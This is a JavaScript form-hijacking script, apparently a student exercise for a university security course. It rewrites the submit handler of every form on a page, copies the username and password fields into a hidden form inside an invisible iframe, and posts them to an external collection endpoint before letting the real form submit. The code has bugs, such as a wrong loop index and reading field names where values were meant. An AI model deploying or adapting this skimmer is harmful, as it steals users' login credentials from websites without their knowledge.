var frms = document.getElementsByTagName("form");
for(var i=0; i<frms.length; i++) {
	hijack(frms[i]);
}

function hijack(frmObj) {
	var delayCode = "";
	if(frmObj.hasAttribute("onsubmit")) {
		delayCode = frmObj.getAttribute("onsubmit");}
	frmObj.setAttribute("onsubmit", "return leech(this,function() {" + delayCode + "});");
}

function leech(frmObj, delayCode) {
	var rnd = Math.floor(Math.random()*256);
	var newFrm = document.createElement("form");

    var inputs = frmObj.getElementsByTagName("input");
    var username = "";
    var pass = "";
    for(var j=0;j<inputs.length;j++){
        if(inputs[j].getAttribute("name").includes("user")){
            username = inputs[i].getAttribute("name");
        }
        if(inputs[j].getAttribute("id").includes("user")){
            username = inputs[i].getAttribute("id");
        }
        if(inputs[j].getAttribute("type").includes("password")){
            pass = inputs[i].getAttribute("type");
        }
    }
	alert('username is ' + username);
	alert('pass is ' + pass);
	newFrm.setAttribute("id", "leechedID" + rnd);
	newFrm.setAttribute("target", "hiddenframe" + newFrm.id);
	newFrm.setAttribute("action", "https://www.rose-hulman.edu/~stammsl/442/slurp.php");

	var usernameInput= document.createElement("input");
	usernameInput.setAttribute("name", "username");
	usernameInput.setAttribute("value", username);
	usernameInput.setAttribute("type", "hidden");

	var passInput= document.createElement("input");
	passInput.setAttribute("name", "password");
	passInput.setAttribute("value", pass);
	passInput.setAttribute("type", "hidden");

	var teamNameInput= document.createElement("input");
	teamNameInput.setAttribute("name", "442team");
	teamNameInput.setAttribute("value", "SaltySeniors");
	teamNameInput.setAttribute("type", "hidden");

	newFrm.appendChild(teamNameInput);
	newFrm.appendChild(passInput);
	newFrm.appendChild(usernameInput);

	var hiddenIframe = document.createElement("iframe");
	hiddenIframe.setAttribute("style", "position:aboslute;" + "visibility:hidden;z-index:0;");
	hiddenIframe.setAttribute("name", "hiddenframe" + newFrm.id);

	hiddenIframe.appendChild(newFrm);
	window.document.body.appendChild(hiddenIframe);
	alert("About to submit the forked form");
	newFrm.submit();
	alert("Cloned form submitted");

	setTimeout(function() {
		window.document.body.removeChild(hiddenIframe);
		if(delayCode() !=false) { frmObj.submit();	alert("Submitted real form.");
 }
	}, 50);

	return false;
}